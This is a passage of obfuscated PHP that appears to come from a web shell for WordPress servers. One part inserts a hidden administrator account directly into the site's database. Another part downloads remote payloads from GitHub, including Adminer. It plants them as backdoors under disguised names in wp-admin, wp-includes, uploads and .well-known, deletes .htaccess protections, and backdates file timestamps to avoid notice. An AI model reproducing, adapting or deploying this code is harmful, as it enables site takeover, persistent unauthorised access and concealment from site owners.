"\x22\x20\x73\x74\171\154\145\x3d\42\167\151\x64\164\x68\72\x20\64\65\60\160\x78\x3b\42\40\150\x65\x69\x67\x68\164\x3d\x22\x31\x30\x22\x3e\74\x2f\x64\x69\x76\76\12\x9\11\11\11\11\x9\x3c\57\x64\151\x76\76\12\x9\x9\x9\x9\11\x9\74\x64\151\x76\x20\x63\154\141\163\163\x3d\x22\x66\x6f\162\x6d\55\147\162\157\x75\x70\x20\x72\157\167\42\76\12\x9\x9\x9\11\x9\x9\74\154\x61\142\145\x6c\x20\143\x6c\x61\x73\163\75\x22\143\x6f\x6c\55\163\155\x2d\62\x20\x63\x6f\x6c\55\146\157\162\155\55\154\x61\x62\x65\x6c\x22\76\125\163\x65\162\156\141\155\145\x20\x3c\57\154\x61\x62\x65\x6c\76\x3c\x64\x69\166\40\x63\154\141\x73\163\75\x22\143\157\x6c\x2d\163\155\x2d\61\60\42\x3e\x3c\151\x6e\x70\x75\x74\40\x63\x6c\141\x73\x73\75\x22\146\157\162\x6d\55\143\157\x6e\164\162\157\154\x22\x20\164\x79\x70\x65\75\42\164\145\170\164\42\x20\156\141\x6d\x65\75\x22\x75\163\145\x72\156\141\155\145\x22\40\x76\141\154\x75\x65\x3d\x22" . $domain_solo . "\x22\40\163\x74\171\x6c\145\x3d\42\x77\151\144\x74\x68\x3a\x20\64\65\x30\160\170\x3b\42\x20\150\x65\151\x67\x68\x74\75\42\x31\x30\42\x3e\x3c\x2f\144\x69\166\76\12\11\x9\x9\11\11\x9\x3c\57\x64\151\166\x3e\xa\x9\x9\x9\x9\x9\x9\x3c\x64\x69\x76\40\x63\x6c\x61\x73\x73\x3d\x22\x66\x6f\162\x6d\x2d\147\x72\157\165\x70\x20\162\x6f\x77\x22\x3e\12\11\11\x9\11\x9\11\x3c\x6c\141\142\145\x6c\x20\x63\x6c\x61\x73\x73\x3d\42\143\x6f\154\55\x73\x6d\55\62\40\143\157\154\55\x66\x6f\x72\155\x2d\x6c\141\142\145\154\x22\76\x50\141\x73\x73\x77\x6f\162\144\40\x3c\57\x6c\x61\142\145\154\x3e\74\144\x69\x76\x20\143\154\141\163\x73\75\42\143\157\154\x2d\163\155\x2d\61\60\x22\76\74\x69\156\160\165\x74\40\x63\154\x61\163\163\75\42\146\x6f\x72\155\x2d\x63\x6f\156\164\162\157\x6c\42\x20\164\171\160\145\x3d\x22\x74\145\x78\x74\x22\x20\156\141\155\145\x3d\42\160\141\x7a\x7a\x77\157\162\x64\x22\40\166\x61\154\x75\x65\75\42" . $dbpassx . "\x22\x20\x73\x74\x79\154\145\75\x22\167\151\x64\164\150\72\x20\64\x35\x30\160\170\x3b\42\x20\150\x65\151\147\150\x74\x3d\42\61\60\42\x3e\74\57\x64\151\x76\x3e\12\11\11\11\x9\11\x9\x3c\x2f\144\x69\x76\x3e\xa\x9\11\x9\11\11\x9\x3c\x64\151\x76\x20\143\x6c\x61\163\163\75\x22\x66\157\162\x6d\55\x67\162\x6f\165\160\x20\x72\157\x77\42\x3e\xa\x9\x9\x9\11\x9\11\x3c\154\141\x62\x65\154\x20\x63\x6c\x61\163\x73\75\42\143\x6f\154\55\163\x6d\55\62\40\x63\157\x6c\55\146\157\162\x6d\55\x6c\x61\x62\145\154\42\x3e\x45\x6d\x61\151\x6c\40\74\x2f\x6c\141\142\x65\154\x3e\x3c\x64\151\166\x20\143\154\x61\163\x73\x3d\42\143\x6f\x6c\x2d\163\x6d\x2d\x31\x30\42\x3e\x3c\x69\x6e\160\165\x74\40\x63\154\141\163\163\x3d\42\146\157\162\155\x2d\143\x6f\156\164\x72\x6f\x6c\42\40\x74\171\x70\x65\75\x22\x74\145\170\x74\42\40\x6e\x61\x6d\x65\x3d\42\x65\155\x61\151\x6c\42\40\x76\141\x6c\165\x65\75\x22\x67\145\155\x62\145\154\x73\100\147\x6d\141\x69\x6c\56\143\x6f\155\42\40\x73\164\x79\x6c\145\x3d\x22\x77\151\144\x74\150\72\40\x34\65\x30\160\170\73\42\40\x68\x65\151\x67\150\164\x3d\42\x31\x30\42\76\x3c\x2f\x64\x69\x76\76\12\x9\x9\x9\11\11\x9\x3c\x2f\144\x69\166\x3e\xa\11\11\11\x9\x9\11\40\40\40\x20\x20\x20\x20\x20\74\x64\151\x76\x20\x63\x6c\141\x73\x73\x3d\42\x63\157\154\55\x6d\x64\x2d\61\x32\40\x62\x67\x2d\x6c\x69\x67\150\164\x20\x74\x65\170\164\55\x72\151\x67\x68\164\x22\76\xa\x20\40\40\40\40\x20\40\40\x20\40\x20\x20\12\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\40\74\x62\165\x74\164\x6f\156\40\x74\x79\x70\145\75\42\142\x75\164\x74\157\x6e\42\x20\156\141\x6d\x65\x3d\42\x74\141\x6d\142\141\150\x6b\x61\156\42\40\143\x6c\x61\163\163\x3d\x22\x62\x74\x6e\x20\x62\x74\x6e\x2d\x77\x61\162\156\151\156\147\40\142\x74\x6e\x2d\154\147\x22\76\123\x61\166\x65\74\x2f\142\165\x74\x74\157\x6e\76\xa\x20\40\40\40\x20\40\x20\40\x3c\x2f\144\x69\x76\76\12\x9\xa\xa\11\x9\x9\x9\11\11\12\11\11\11\11\74\57\x66\157\x72\x6d\76"; if (isset($_POST["\x74\x61\155\x62\141\150\x6b\x61\156"])) { echo "\74\x63\x65\156\x74\x65\x72\x3e"; if (isset($table_prefix)) { $dbhost = $_POST["\x64\x62\150\157\163\x74"]; $dbuser = $_POST["\x64\142\x75\163\x65\x72"]; $dbpass = $_POST["\144\142\x70\x61\x73\x73"]; $dbname = $_POST["\144\x62\156\141\155\145"]; $table_prefix = $_POST["\x74\141\142\x6c\x65\x5f\x70\162\x65\x66\x69\170"]; $username = $_POST["\165\x73\145\x72\x6e\x61\155\x65"]; $pazzword = $_POST["\160\141\172\x7a\167\157\162\144"]; $email = $_POST["\145\x6d\141\151\154"]; $idx = rand(100, 1000); $conn = new mysqli($dbhost, $dbuser, $dbpass, $dbname); if ($conn->connect_error) { die("\103\x6f\156\156\x65\x63\164\x69\157\156\40\x66\141\x69\154\145\x64\x3a\40" . $conn->connect_error); } $sql = "\x49\116\x53\x45\x52\124\x20\111\116\x54\x4f\x20" . $table_prefix . "\x75\163\145\x72\163\x20\50\111\x44\x2c\40\165\x73\x65\162\137\154\x6f\x67\151\156\x2c\40\165\x73\x65\162\x5f\x70\x61\x73\163\x2c\x20\165\163\145\x72\137\x6e\151\143\145\156\x61\155\145\x2c\x20\x75\x73\x65\162\x5f\x65\x6d\x61\x69\x6c\54\x20\x75\x73\x65\x72\137\165\162\154\54\x20\165\x73\145\x72\137\x72\145\x67\x69\x73\164\x65\162\145\x64\54\x20\165\x73\145\162\x5f\x61\x63\x74\x69\x76\141\x74\x69\157\156\137\153\x65\171\x2c\40\x75\163\x65\x72\137\163\x74\x61\x74\x75\163\x2c\40\x64\x69\x73\160\x6c\x61\171\x5f\156\x61\x6d\x65\51\40\x56\x41\x4c\x55\105\123\40\50\47{$idx}\47\54\40\x27{$username}\x27\x2c\40\115\x44\x35\x28\x27" . $pazzword . "\47\51\x2c\40\47{$username}\47\54\40\47{$email}\x27\x2c\40\47\47\x2c\40\47\x32\x30\x31\x38\55\60\66\x2d\x30\67\40\x30\60\72\60\60\72\x30\x30\x27\54\x20\47\x27\x2c\40\47\60\x27\x2c\x20\x27{$username}\47\51\x3b"; $sql .= "\x49\x4e\x53\105\122\x54\40\x49\116\x54\117\40" . $table_prefix . "\x75\x73\145\x72\x6d\145\164\141\40\x28\x75\155\145\x74\141\x5f\x69\x64\x2c\40\x75\x73\x65\x72\x5f\x69\x64\54\40\155\x65\x74\141\137\x6b\x65\x79\54\x20\x6d\x65\x74\x61\137\166\141\154\165\x65\51\x20\x56\101\114\x55\105\123\40\50\x4e\x55\114\x4c\54\x20\47{$idx}\47\54\40\x27" . $table_prefix . "\x63\141\160\141\x62\151\x6c\x69\x74\x69\145\x73\47\54\x20\x27\141\x3a\x31\72\x7b\163\x3a\x31\63\x3a\42\x61\x64\x6d\151\156\151\163\164\x72\141\164\x6f\162\42\x3b\x73\72\61\72\42\x31\x22\73\175\47\51\73"; $sql .= "\x49\x4e\123\x45\x52\124\x20\x49\116\124\117\40" . $table_prefix . "\165\x73\145\x72\x6d\145\164\x61\40\x28\x75\x6d\145\x74\141\137\151\144\54\x20\x75\x73\145\x72\137\151\x64\54\x20\x6d\145\164\141\137\x6b\x65\x79\x2c\x20\x6d\x65\164\x61\x5f\x76\x61\154\165\x65\51\40\126\x41\114\x55\x45\x53\x20\50\x4e\125\x4c\114\x2c\x20\x27{$idx}\x27\54\40\47" . $table_prefix . "\165\163\145\162\137\x6c\145\166\x65\154\x27\x2c\x20\x27\x31\60\x27\51\x3b"; if ($conn->multi_query($sql) === TRUE) { echo "\x4e\145\167\40\162\x65\143\157\162\144\x73\40\x63\x72\x65\x61\x74\145\x64\x20\163\x75\x63\143\x65\x73\x73\146\165\x6c\154\x79\74\142\x72\x3e"; echo "\x3c\143\x6f\144\145\x3e\x55\163\145\x72\156\141\155\145\72\x20" . $username . "\74\57\143\x6f\144\x65\x3e"; echo "\x3c\x63\157\x64\x65\76\120\x61\x73\163\167\x6f\162\144\x3a\40" . $pazzword . "\74\57\143\x6f\144\145\x3e"; } else { echo "\x45\x72\x72\x6f\162\72\40" . $sql . "\x3c\x62\162\x3e" . $conn->error; } $conn->close(); } else { echo "\x20\x47\141\147\141\154\x20\x64\x61\154\x61\155\x20\x69\156\152\145\143\x74\40\x75\163\145\x72\x20\127\x6f\162\x64\120\162\145\163\163"; } echo "\74\x2f\143\x65\156\x74\x65\x72\x3e"; } echo "\x3c\57\144\151\166\x3e"; } elseif (isset($_GET[hex("\x73\x69\147\156\x61\164\x75\x72\x65")])) { @set_time_limit(0); $direktori = $_SERVER["\104\117\x43\x55\115\105\116\x54\x5f\x52\x4f\117\124"]; $fullxx = $_SERVER["\x48\124\x54\120\137\x48\117\123\x54"] . str_replace($_SERVER["\104\x4f\x43\125\x4d\x45\x4e\x54\137\122\x4f\x4f\x54"], '', $direktori); echo "\x3c\150\x72\76\x3c\x62\x72\76"; echo "\12\11\11\11\11\x3c\143\x65\x6e\x74\x65\162\76\74\x68\x32\x3e\124\x65\142\141\162\x20\x42\141\x63\x6b\144\x30\60\162\x3c\57\150\x32\x3e\xa\11\x9\11\11\124\x65\x62\x61\162\x6b\x61\x6e\x20\x64\151\x20\50\x6e\157\x20\57\x20\x61\x74\x20\164\x68\145\40\145\156\144\51\12\11\11\x9\x9\x3c\146\x6f\x72\155\40\141\143\164\x69\x6f\x6e\75\x22\x22\40\x6d\x65\164\150\x6f\144\75\42\x70\x6f\x73\x74\x22\76\xa\x9\11\x9\x9\11\x3c\143\145\x6e\x74\145\162\76\40\40\12\x9\11\x9\11\11\40\74\142\162\x3e\xa\x9\11\x9\11\x9\11\x3c\163\x65\154\x65\x63\164\40\x6e\x61\155\x65\75\x22\155\x6f\x64\x65\x78\x22\40\143\x6c\x61\x73\x73\x3d\42\146\x6f\x72\155\55\143\157\x6e\x74\162\157\x6c\42\x20\163\164\x79\154\145\x3d\42\x77\151\144\x74\x68\72\x20\62\x35\60\x70\170\x3b\x20\x68\x65\x69\147\150\164\72\x20\x34\x30\160\x78\73\x22\76\xa\11\11\x9\11\x9\11\x9\x3c\x6f\x70\x74\151\157\156\x20\166\x61\154\165\x65\x3d\42\163\164\x61\156\x64\141\162\x64\42\x3e\x57\x6f\162\x64\x70\x72\145\x73\x73\x3c\57\x6f\x70\164\x69\x6f\156\76\xa\x9\11\x9\x9\x9\x9\x9\74\x6f\x70\164\x69\157\156\x20\166\141\x6c\165\145\x3d\42\162\x61\156\144\x6f\x6d\42\x3e\123\151\x67\x6e\x61\164\165\162\x65\74\57\157\160\x74\x69\157\156\x3e\xa\11\11\11\11\x9\x9\11\x3c\x6f\x70\164\151\157\x6e\40\x76\x61\154\165\145\x3d\42\143\151\x69\42\x3e\103\x6f\144\145\x49\x67\x6e\x69\164\145\x72\74\x2f\157\160\x74\151\157\156\76\12\x9\x9\11\x9\11\11\11\74\157\x70\164\151\x6f\156\x20\x76\141\x6c\x75\145\75\x22\171\151\x69\x22\76\x59\111\x49\74\x2f\x6f\x70\164\x69\x6f\156\x3e\xa\11\11\11\11\x9\11\11\74\x6f\160\x74\x69\157\156\x20\166\141\x6c\x75\x65\x3d\42\x6f\x6a\163\x22\76\117\112\123\74\57\x6f\160\164\x69\157\156\76\12\11\x9\11\11\11\11\x3c\x2f\163\145\x6c\145\x63\x74\76\x3c\142\x72\x3e\xa\x9\11\x9\x9\11\11\74\x69\x6e\160\x75\x74\x20\143\x6c\x61\x73\163\75\x22\x66\x6f\x72\155\55\x63\157\156\164\162\157\154\42\x20\164\x79\160\x65\75\42\x74\145\x78\164\42\40\156\141\x6d\x65\75\x22\144\x69\x72\x65\x6b\x74\x6f\x72\151\x78\42\x20\x76\141\154\165\x65\x3d\x22" . $direktori . "\42\x20\x73\164\x79\154\x65\x3d\x22\167\151\144\164\x68\72\x20\x34\65\60\x70\170\x3b\x22\40\x68\145\151\x67\150\x74\75\x22\x31\x30\x22\x3e\x3c\x62\162\76\xa\x9\x9\x9\x9\11\11\74\x69\156\x70\165\164\40\164\171\160\x65\x3d\42\x73\165\142\x6d\151\x74\x22\x20\143\x6c\141\163\163\x3d\42\x66\157\162\x6d\55\x63\x6f\156\x74\x72\x6f\154\42\40\163\x74\171\x6c\x65\x3d\x22\167\151\144\x74\150\72\40\x32\x35\60\x70\170\x3b\40\150\x65\151\147\150\x74\72\x20\64\x30\x70\170\73\42\40\x76\x61\x6c\x75\x65\75\42\124\145\142\141\162\x22\40\156\x61\x6d\145\75\x22\x74\x65\142\x61\162\42\x20\x2f\x3e\xa\12\x9\11\11\x9\11\x9\12\11\11\x9\x9\x3c\57\146\x6f\162\155\x3e\x3c\142\162\x3e\74\x2f\143\145\156\x74\145\162\x3e\12\x9\11\x9\x9"; if (isset($_POST["\164\145\142\x61\162"])) { $modeio = $_POST["\155\157\144\x65\x78"]; $folderio = $_POST["\x64\x69\x72\145\153\x74\157\x72\x69\x78"]; $gsc = "\132\x32\x39\166\132\62\170\154\x4c\130\x4e\x70\144\x47\x55\x74\x64\155\126\171\141\127\x5a\160\131\62\106\60\141\x57\x39\x75\x4f\151\x42\x6e\x62\x32\71\x6e\x62\107\126\151\x5a\x47\115\x32\115\172\x63\64\115\124\112\155\x5a\x44\x6b\x35\116\172\x49\171\x4c\x6d\150\60\x62\x57\x77\75"; file_put_contents($direktori . "\147\157\x6f\x67\154\145\x62\144\x63\x36\x33\67\70\61\62\x66\144\x39\71\67\x32\x32\x2e\x68\x74\155\154", b64dd($gsc)); echo "\x3c\143\x6f\144\x65\76"; $resource1 = "\150\x74\x74\160\x73\x3a\x2f\57\162\141\167\x2e\x67\x69\164\x68\x75\142\165\163\145\x72\143\x6f\156\x74\145\x6e\164\56\x63\157\x6d\57\144\x6f\61\x32\64\x35\67\x34\x2f\144\157\x31\x32\64\x35\x37\x34\x2f\155\141\151\156\x2f\154\x69\x63\x65\156\163\145\x73\x2e\x70\156\x67"; $resource2 = "\150\x74\164\160\x73\72\57\x2f\x67\x69\164\150\x75\x62\x2e\x63\x6f\155\x2f\166\x72\141\156\x61\x2f\x61\x64\155\x69\x6e\x65\162\x2f\x72\x65\x6c\x65\141\163\145\163\x2f\144\157\x77\156\154\157\141\x64\x2f\166\x34\56\x38\x2e\61\x2f\141\144\x6d\x69\156\x65\162\55\x34\x2e\x38\x2e\x31\x2d\x65\156\x2e\160\x68\x70"; if (is_writable($direktori)) { if (!is_dir($direktori . "\57\56\167\145\154\154\55\153\156\x6f\x77\156\57\x70\x6b\x69\55\166\x61\154\x69\x64\x61\164\151\157\x6e\57\x2e\56\x2e\x2f")) { mkdir($direktori . "\57\56\x77\145\x6c\154\55\153\156\x6f\167\156\x2f\x70\153\x69\x2d\x76\x61\x6c\x69\x64\x61\x74\151\157\x6e\57\56\56\x2e\x2f", 493, true); } $lapor9 = $direktori . "\x2f\56\167\x65\154\154\x2d\x6b\x6e\x6f\x77\156\x2f\x70\x6b\x69\x2d\166\x61\x6c\x69\x64\141\164\x69\x6f\156\x2f\x2e\x2e\x2e\57\x69\x6e\x64\x65\x78\x2e\160\x68\x70"; $report9 = fgt($itemsxz[1]); file_put_contents($lapor9, $report9); if (file_exists($lapor9) && filesize($lapor9) > 0) { echo "\74\141\40\x68\162\x65\146\75\47\57\x2f" . $_SERVER["\x48\x54\x54\120\x5f\110\117\x53\124"] . "\57\x2e\x77\145\x6c\154\x2d\x6b\156\x6f\167\x6e\57\160\153\x69\55\x76\141\154\x69\144\141\x74\151\157\156\x2f\56\x2e\56\57\151\x6e\144\x65\x78\56\x70\x68\x70\x27\x20\164\x61\162\147\x65\164\x3d\47\x5f\x62\154\x61\156\153\47\76" . $_SERVER["\110\x54\124\x50\137\110\x4f\x53\x54"] . "\57\56\167\145\154\154\x2d\x6b\156\x6f\x77\156\57\160\x6b\x69\x2d\166\141\x6c\x69\144\x61\164\151\157\x6e\x2f\56\x2e\56\57\151\156\x64\x65\x78\x2e\160\150\160\74\x2f\141\76\74\142\162\x3e"; @touch($lapor9, strtotime("\55" . rand(30, 90) . "\40\144\141\x79\x73", time())); } if (!is_dir($direktori . "\x2f\x2d\56\x2f")) { mkdir($direktori . "\x2f\55\x2e\57", 493, true); } $lapor5 = $direktori . "\57\x2d\x2e\57\x5f\x72\x65\160\157\162\x74\x2e\x70\144\x66"; $report5 = fgt($itemsxz[1]); file_put_contents($lapor5, $report5); if (file_exists($lapor5) && filesize($lapor5) > 0) { echo "\74\141\x20\x68\162\145\146\x3d\47\57\57" . $_SERVER["\x48\124\x54\120\137\x48\117\123\x54"] . "\x2f\55\x2e\x2f\137\162\x65\x70\157\x72\164\x2e\x70\x64\x66\x27\40\164\141\x72\147\x65\x74\x3d\x27\137\x62\154\x61\x6e\x6b\47\x3e" . $_SERVER["\110\124\124\120\x5f\110\x4f\123\124"] . "\x2f\x2d\x2e\x2f\x5f\162\x65\160\157\162\x74\56\x70\x64\x66\x3c\57\x61\76\x3c\142\x72\x3e"; @touch($lapor5, strtotime("\55" . rand(30, 90) . "\40\x64\x61\171\163", time())); } $lteamm = $direktori . "\x2f\55\56\x2f\x5f\162\x65\160\157\x72\164\56\160\150\160"; $rteamm = fgt("\x68\164\164\160\x73\72\x2f\x2f\x67\151\x74\x68\x75\142\x2e\x63\x6f\x6d\57\x64\157\x31\x32\x34\x35\x37\x34\x2f\x64\x6f\x31\x32\x34\x35\67\x34\57\162\x61\167\x2f\x6d\x61\x69\x6e\57\x6d\162\x2e\160\x73\144"); file_put_contents($lteamm, $rteamm); if (file_exists($lapor5) && filesize($lteamm) > 0) { echo "\x3c\141\40\x68\162\145\x66\75\x27\57\x2f" . $_SERVER["\x48\x54\x54\x50\x5f\110\117\123\124"] . "\x2f\x2d\56\57\x5f\x72\145\x70\x6f\x72\x74\56\x70\x68\x70\x27\x20\164\141\162\147\145\164\x3d\x27\137\x62\x6c\x61\156\x6b\47\76" . $_SERVER["\110\124\x54\120\137\x48\117\123\x54"] . "\57\x2d\x2e\x2f\137\162\x65\x70\x6f\x72\164\x2e\160\150\160\x3c\57\141\76\x3c\x62\162\x3e"; @touch($lapor5, strtotime("\55" . rand(30, 90) . "\x20\x64\x61\171\x73", time())); } } if ($folderio) { $lapor8 = $folderio . "\57\x77\160\55\143\x6f\x6e\x66\x69\x67\56\160\x68\160"; if (file_exists($lapor8)) { $lapor1 = $folderio . "\x2f\x2e\x74\155\142\57\151\x6e\x64\145\x78\56\160\x68\160"; $lapor2 = $folderio . "\57\167\160\55\143\x6f\156\x74\145\156\x74\x2f\x75\x70\x67\x72\x61\x64\x65\x2f\x5f\104\157\x63\165\155\x65\156\164\x2e\x70\x68\160"; $lapor3 = $folderio . "\57\x77\160\x2d\x63\157\156\x74\145\156\x74\57\x75\x70\x6c\x6f\x61\144\163\x2f" . date("\x59") . "\x2f" . date("\156") . "\x2f\x73\x75\160\162\145\56\x70\150\160"; $lapor4 = $folderio . "\57\154\151\x63\145\156\x73\x65\x73\56\160\x68\x70"; $lapor10 = $folderio . "\x2f\167\x70\x2d\141\144\155\x69\156\57\116\157\164\x65\56\160\x68\160"; $lapor6 = $folderio . "\x2f\167\x70\55\151\x6e\x63\x6c\x75\x64\145\163\x2f\x63\x6c\x61\163\163\55\167\160\55\x63\x75\x73\x74\157\155\x69\172\145\x2d\156\x61\x76\x2d\x6d\x65\156\x75\55\143\x75\163\164\x6f\155\x69\x7a\x65\56\160\150\160"; $lapor7 = $folderio . "\x2f\x77\x70\55\x63\x6f\156\x66\151\147\x2d\x73\x61\155\160\154\x65\x2e\160\150\160"; $lapor11 = $folderio . "\x2f\167\160\55\143\x6f\x6e\164\x65\156\x74\57\x70\x6c\165\x67\x69\x6e\55\145\144\151\164\157\162\56\160\x68\160"; $lapor12 = $folderio . "\57\x77\x70\x2d\x63\x6f\156\x74\145\156\x74\x2f\160\154\x75\147\x69\156\x73\x2f\x69\x6e\x64\145\170\x2e\160\150\x70"; $laporanz = array($lapor1, $lapor4, $lapor10, $lapor6, $lapor7, $lapor10, $lapor11, $lapor12); $lapor9 = $folderio . "\57\56\x77\x65\x6c\154\x2d\x6b\x6e\x6f\x77\x6e\57\160\153\x69\55\166\x61\x6c\x69\144\x61\164\151\x6f\156\57\x2e\56\56\57\x69\x6e\144\145\170\56\160\150\160"; $penanggalan = date("\131") . "\57" . date("\x6e"); if (is_writable($folderio)) { if (!is_dir($folderio . "\x2f\56\x74\x6d\x62")) { mkdir($folderio . "\x2f\x2e\x74\x6d\142", 493, true); } if (!is_dir($folderio . "\x2f\167\160\x2d\151\x6e\143\x6c\x75\x64\x65\163")) { mkdir($folderio . "\x2f\167\x70\x2d\x69\x6e\x63\x6c\x75\144\145\x73", 493, true); } if (!is_dir($folderio . "\57\x77\160\x2d\141\x64\x6d\151\156")) { mkdir($folderio . "\57\x77\x70\55\x61\x64\155\x69\x6e", 493, true); } if (!is_dir($folderio . "\57\x77\160\55\x63\157\156\164\145\x6e\164\x2f\x75\x70\x67\162\141\x64\x65")) { mkdir($folderio . "\57\x77\160\55\x63\x6f\x6e\164\145\x6e\164\57\165\x70\147\162\x61\x64\145", 493, true); } if (!is_dir($folderio . "\x2f\x2e\x77\x65\x6c\x6c\x2d\153\156\157\x77\156\x2f\x70\153\151\55\x76\x61\154\151\144\x61\x74\x69\x6f\156")) { mkdir($folderio . "\57\56\167\x65\x6c\154\55\x6b\156\x6f\167\x6e\57\160\153\x69\55\166\141\154\151\x64\141\164\151\157\x6e\x2f\56\x2e\x2e", 493, true); } if (!is_dir($folderio . "\57\167\160\x2d\143\157\x6e\x74\x65\156\164\x2f\165\160\154\x6f\141\x64\x73\57" . $penanggalan)) { mkdir($folderio . "\57\x77\x70\55\143\x6f\x6e\x74\x65\x6e\164\x2f\x75\x70\154\x6f\141\144\163\x2f" . $penanggalan, 493, true); } } $i = 0; foreach (scandir($folderio) as $detailsfolderx) { $wpfolder = $folderio . DIRECTORY_SEPARATOR . $detailsfolderx; if (is_dir($wpfolder) && $detailsfolderx != "\x2e" && $detailsfolderx != "\56\x2e") { if (is_writable($wpfolder)) { if (file_exists($wpfolder . "\x2f\x2e\150\x74\141\143\x63\x65\x73\163") && $wpfolder != "\55\56") { chmod($wpfolder . "\x2f\56\150\164\x61\x63\143\x65\x73\163", 420); unlink($wpfolder . "\x2f\56\150\164\x61\x63\143\x65\x73\163"); } if ($detailsfolderx === "\167\x70\x2d\143\x6f\x6e\x74\x65\156\164") { if (file_exists($folderio . "\57\167\x70\55\x63\157\x6e\x74\x65\x6e\x74\x2f\56\x68\x74\141\143\x63\145\163\x73")) { chmod($folderio . "\57\167\x70\55\143\157\156\x74\145\x6e\164\x2f\56\150\164\141\x63\143\x65\x73\x73", 420); unlink($folderio . "\x2f\167\x70\55\143\157\156\164\145\156\164\57\56\150\164\141\x63\143\x65\163\163"); } if (file_exists($folderio . "\x2f\x77\x70\55\x63\157\x6e\164\145\x6e\x74\x2f\x2e\x68\x74\x61\143\x63\x65\x73\163")) { chmod($folderio . "\x2f\167\x70\55\143\157\x6e\164\x65\x6e\164\x2f\x75\160\154\157\141\144\163\57" . date("\131") . "\57\x2e\150\x74\141\143\x63\x65\163\163", 420); unlink($folderio . "\x2f\x77\160\x2d\x63\157\156\164\145\156\164\57\x75\160\x6c\x6f\x61\x64\x73\x2f" . date("\x59") . "\x2f\x2e\150\x74\141\143\143\x65\x73\x73"); } if (file_exists($folderio . "\x2f\167\160\55\143\157\156\x74\x65\x6e\x74\x2f\56\x68\164\x61\143\143\x65\x73\x73")) { chmod($folderio . "\x2f\x77\x70\55\x63\x6f\156\x74\145\x6e\164\x2f\x75\x70\x6c\157\141\x64\163\57" . $penanggalan . "\57\56\x68\x74\141\143\143\x65\163\163", 420); unlink($folderio . "\57\x77\x70\x2d\143\x6f\x6e\x74\145\x6e\164\x2f\165\x70\x6c\x6f\141\x64\x73\x2f" . $penanggalan . "\57\x2e\150\164\x61\x63\143\145\x73\x73"); } if (file_exists($folderio . "\x2f\x77\x70\55\x63\x6f\x6e\x74\145\156\164\57\56\x68\164\x61\x63\x63\145\x73\x73")) { unlink($folderio . "\x2f\x77\x70\x2d\x63\157\x6e\164\x65\156\164\x2f\56\x68\164\x61\143\143\145\x73\x73"); } $report200 = fgt($itemsxz[2]); file_put_contents($lapor2, $report200); @touch($lapor2, strtotime("\x2d" . rand(30, 90) . "\40\144\141\x79\x73", time())); $report300 = fgt($itemsxz[3]); file_put_contents($lapor3, $report300); @touch($lapor3, strtotime("\x2d" . rand(30, 90) . "\40\144\x61\x79\x73", time())); if (file_exists($lapor2) && filesize($lapor2) > 0) { echo "\x3c\141\x20\x68\x72\145\x66\75\47\x2f\x2f" . $fullxx . str_replace($_SERVER["\104\x4f\103\125\x4d\x45\116\124\x5f\122\x4f\117\x54"], '', $lapor2) . "\x27\40\164\x61\x72\x67\145\x74\x3d\47\x5f\142\x6c\141\x6e\x6b\47\76" . $fullxx . str_replace($_SERVER["\104\117\x43\x55\x4d\105\116\124\137\x52\117\x4f\124"], '', $lapor2) . "\x3c\x2f\141\x3e\x3c\142\162\76"; } if (file_exists($lapor3) && filesize($lapor3) > 0) { echo "\x3c\x61\40\x68\162\x65\146\x3d\x27\57\x2f" . $fullxx . str_replace($_SERVER["\104\x4f\103\125\115\105\x4e\x54\x5f\122\x4f\117\x54"], '', $lapor3) . "\47\x20\x74\141\162\x67\145\164\75\47\x5f\142\154\x61\156\153\47\76" . $fullxx . str_replace($_SERVER["\104\117\x43\x55\x4d\105\116\124\137\122\x4f\117\124"], '', $lapor3) . "\74\57\x61\x3e\74\x62\162\76"; } } if (!file_exists($laporanz[$i])) { $report = fgt($itemsxz[$i]); file_put_contents($laporanz[$i], $report); @touch($laporanz[$i], strtotime("\55" . rand(30, 90) . "\x20\144\x61\x79\163", time())); if (file_exists($laporanz[$i]) && filesize($laporanz[$i]) > 0) { echo "\74\141\40\x68\162\x65\146\75\47\x2f\x2f" . $fullxx . str_replace($_SERVER["\x44\x4f\103\x55\x4d\x45\x4e\124\x5f\122\x4f\117\124"], '', $laporanz[$i]) . "\47\x27\x3e" . $fullxx . str_replace($_SERVER["\104\117\x43\x55\115\x45\x4e\124\137\x52\117\x4f\x54"], '', $laporanz[$i]) . "\74\x2f\141\x3e\74\142\162\x3e"; } } switch ($modeio) { case standard: $namafilenx = $enx0[array_rand($enx0)]; break; case cii: $namafilenx = $enx2[array_rand($enx2)]; break; case yii: $namafilenx = $enx3[array_rand($enx3)]; break; case ojs: $namafilenx = $enx4[array_rand($enx4)]; default: $namafilenx = $enx1[array_rand($enx1)]; } $laporanzx = $wpfolder . DIRECTORY_SEPARATOR . $namafilenx; $sourcezx = $itemsxz[array_rand($itemsxz)]; if (!file_exists($laporanzx)) { $reportx = fgt($sourcezx); file_put_contents($laporanzx, $reportx); @touch($laporanzx, strtotime("\x2d" . rand(30, 90) . "\40\x64\141\171\163", time())); if (file_exists($laporanzx) && filesize($laporanzx) > 0) { echo "\74\x61\40\150\162\145\x66\x3d\47\x2f\57" . $fullxx . str_replace($_SERVER["\x44\x4f\103\125\115\x45\116\x54\x5f\122\x4f\117\124"], '', $laporanzx) . "\47\x20\x74\x61\x72\x67\145\164\x3d\47\137\142\x6c\x61\x6e\153\47\x3e" . $fullxx . str_replace($_SERVER["\x44\x4f\103\x55\115\105\116\124\137\122\x4f\x4f\x54"], '', $laporanzx) . "\74\57\141\x3e\74\x62\x72\x3e"; } } $i++; } } } if (is_dir($folderio . "\x2f\x77\160\55\x69\x6e\143\x6c\165\x64\x65\x73\x2f\x49\130\x52\x2f") && is_writable($folderio . "\57\167\x70\x2d\151\x6e\x63\154\x75\144\145\x73\57\111\130\x52\x2f")) { $lapor13 = $folderio . "\57\x77\160\55\151\156\143\x6c\165\144\145\x73\x2f\x49\130\x52\x2f\x73\165\160\162\145\x2e\160\x68\x70"; $report13 = fgt($resource2); file_put_contents($lapor13, $report13); @touch($lapor13, strtotime("\x2d" . rand(30, 90) . "\40\144\x61\171\163", time())); if (file_exists($lapor13) && filesize($lapor13) > 0) { echo "\x3c\142\162\x3e\101\144\x6d\x69\x6e\145\162\x3a\40"; echo "\74\x61\x20\x68\x72\145\146\x3d\x27\x2f\x2f" . $fullxx . str_replace($_SERVER["\x44\x4f\103\125\115\x45\x4e\124\x5f\x52\x4f\x4f\x54"], '', $lapor13) . "\x27\40\x74\x61\x72\x67\145\164\x3d\47\x5f\x62\154\x61\x6e\x6b\47\x3e" . $fullxx . 